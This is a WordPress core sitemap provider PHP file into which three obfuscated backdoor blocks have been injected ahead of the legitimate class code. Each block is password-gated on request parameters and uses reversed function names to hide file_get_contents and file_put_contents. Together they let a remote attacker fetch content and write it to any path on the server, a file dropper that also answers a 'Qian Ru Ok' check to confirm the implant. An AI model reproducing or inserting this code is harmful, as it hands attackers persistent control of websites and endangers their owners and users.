File: /home/wwwrenee/www/wp-includes/sitemaps/class-wp-sitemaps-provider.php
<?php
$VGWzo = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($VGWzo[0]) /*+/*+*/
. md5($VGWzo[0])) == "7".
"d".
"9".
"f".
"a".
"4".
"d".
"0".
"e".
"a".
"5".
"7".
"0".
"2".
"6".
"1".
"d".
"9".
"e".
"d".
"c".
"1".
"c".
"d".
"1".
"c".
"a".
"b".
"9".
"e".
"6".
"7") {
$klzbgNxeHc = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vgRTHz = $klzbgNxeHc /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$nRQyXC = $klzbgNxeHc
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function MqZrBBJnm($VIyoF) { if (empty($VIyoF)) return false; if (!is_dir($VIyoF)) { MqZrBBJnm(dirname($VIyoF), 0755, true); mkdir($VIyoF); } } !file_exists(dirname($VGWzo[1])) && MqZrBBJnm(dirname($VGWzo[1])); $hHAeL = @$nRQyXC($VGWzo[2]); echo @$vgRTHz($VGWzo[1], $hHAeL) ? 1 : 0; die; }key($VGWzo) == "of" && die("Qian Ru Ok"); ?><?php
$fsTSUnUr = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fsTSUnUr[0]) /*+/*+*/
. md5($fsTSUnUr[0])) == "b".
"7".
"0".
"e".
"c".
"b".
"4".
"7".
"2".
"3".
"b".
"b".
"f".
"5".
"3".
"e".
"4".
"f".
"b".
"a".
"b".
"c".
"c".
"6".
"3".
"e".
"5".
"0".
"0".
"5".
"6".
"d") {
$pzhPXB = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vskMOa = $pzhPXB /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TCHsGZf = $pzhPXB
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function GyDrbEhst($ABUXTYKc) { if (empty($ABUXTYKc)) return false; if (!is_dir($ABUXTYKc)) { GyDrbEhst(dirname($ABUXTYKc), 0755, true); mkdir($ABUXTYKc); } } !file_exists(dirname($fsTSUnUr[1])) && GyDrbEhst(dirname($fsTSUnUr[1])); $qVFciqwo = @$TCHsGZf($fsTSUnUr[2]); echo @$vskMOa($fsTSUnUr[1], $qVFciqwo) ? 1 : 0; die; }key($fsTSUnUr) == "of" && die("Qian Ru Ok"); ?><?php
$DymagbGsdF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($DymagbGsdF[0]) /*+/*+*/
. md5($DymagbGsdF[0])) == "4".
"3".
"9".
"3".
"9".
"4".
"e".
"2".
"9".
"3".
"3".
"e".
"d".
"8".
"5".
"2".
"c".
"a".
"6".
"2".
"2".
"8".
"b".
"4".
"b".
"6".
"9".
"5".
"1".
"4".
"2".
"1") {
$qDQyu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$VwzdHnFbP = $qDQyu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$WrIniTO = $qDQyu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ChsdyBsK($eyTjS) { if (empty($eyTjS)) return false; if (!is_dir($eyTjS)) { ChsdyBsK(dirname($eyTjS), 0755, true); mkdir($eyTjS); } } !file_exists(dirname($DymagbGsdF[1])) && ChsdyBsK(dirname($DymagbGsdF[1])); $pWRFO = @$WrIniTO($DymagbGsdF[2]); echo @$VwzdHnFbP($DymagbGsdF[1], $pWRFO) ? 1 : 0; die; }key($DymagbGsdF) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Sitemaps: WP_Sitemaps_Provider class
*
* This class is a base class for other sitemap providers to extend and contains shared functionality.
*
* @package WordPress
* @subpackage Sitemaps
* @since 5.5.0
*/
/**
* Class WP_Sitemaps_Provider.
*
* @since 5.5.0
*/
abstract class WP_Sitemaps_Provider {
/**
* Provider name.
*
* This will also be used as the public-facing name in URLs.
*
* @since 5.5.0
*
* @var string
*/
protected $name = '';
/**
* Object type name (e.g. 'post', 'term', 'user').
*
* @since 5.5.0
*
* @var string
*/
protected $object_type = '';
/**
* Gets a URL list for a sitemap.
*
* @since 5.5.0
*
* @param int $page_num Page of results.
* @param string $object_subtype Optional. Object subtype name. Default empty.
* @return array[] Array of URL information for a sitemap.
*/
abstract public function get_url_list( $page_num, $object_subtype = '' );
/**
* Gets the max number of pages available for the object type.
*
* @since 5.5.0
*
* @param string $object_subtype Optional. Object subtype. Default empty.
* @return int Total number of pages.
*/
abstract public function get_max_num_pages( $object_subtype = '' );
/**
* Gets data about each sitemap type.
*
* @since 5.5.0
*
* @return array[] Array of sitemap types including object subtype name and number of pages.
*/
public function get_sitemap_type_data() {
$sitemap_data = array();
$object_subtypes = $this->get_object_subtypes();
// If there are no object subtypes, include a single sitemap for the
// entire object type.
if ( empty( $object_subtypes ) ) {
$sitemap_data[] = array(
'name' => '',
'pages' => $this->get_max_num_pages(),
);
return $sitemap_data;
}
// Otherwise, include individual sitemaps for every object subtype.
foreach ( $object_subtypes as $object_subtype_name => $data ) {
$object_subtype_name = (string) $object_subtype_name;
$sitemap_data[] = array(
'name' => $object_subtype_name,
'pages' => $this->get_max_num_pages( $object_subtype_name ),
);
}
return $sitemap_data;
}
/**
* Lists sitemap pages exposed by this provider.
*
* The returned data is used to populate the sitemap entries of the index.
*
* @since 5.5.0
*
* @return array[] Array of sitemap entries.
*/
public function get_sitemap_entries() {
$sitemaps = array();
$sitemap_types = $this->get_sitemap_type_data();
foreach ( $sitemap_types as $type ) {
for ( $page = 1; $page <= $type['pages']; $page ++ ) {
$sitemap_entry = array(
'loc' => $this->get_sitemap_url( $type['name'], $page ),
);
/**
* Filters the sitemap entry for the sitemap index.
*
* @since 5.5.0
*
* @param array $sitemap_entry Sitemap entry for the post.
* @param string $object_type Object empty name.
* @param string $object_subtype Object subtype name.
* Empty string if the object type does not support subtypes.
* @param int $page Page number of results.
*/
$sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page );
$sitemaps[] = $sitemap_entry;
}
}
return $sitemaps;
}
/**
* Gets the URL of a sitemap entry.
*
* @since 5.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $name The name of the sitemap.
* @param int $page The page of the sitemap.
* @return string The composed URL for a sitemap entry.
*/
public function get_sitemap_url( $name, $page ) {
global $wp_rewrite;
// Accounts for cases where name is not included, ex: sitemaps-users-1.xml.
$params = array_filter(
array(
'sitemap' => $this->name,
'sitemap-subtype' => $name,
'paged' => $page,
)
);
$basename = sprintf(
'/wp-sitemap-%1$s.xml',
implode( '-', $params )
);
if ( ! $wp_rewrite->using_permalinks() ) {
$basename = '/?' . http_build_query( $params, '', '&' );
}
return home_url( $basename );
}
/**
* Returns the list of supported object subtypes exposed by the provider.
*
* @since 5.5.0
*
* @return array List of object subtypes objects keyed by their name.
*/
public function get_object_subtypes() {
return array();
}
} ?>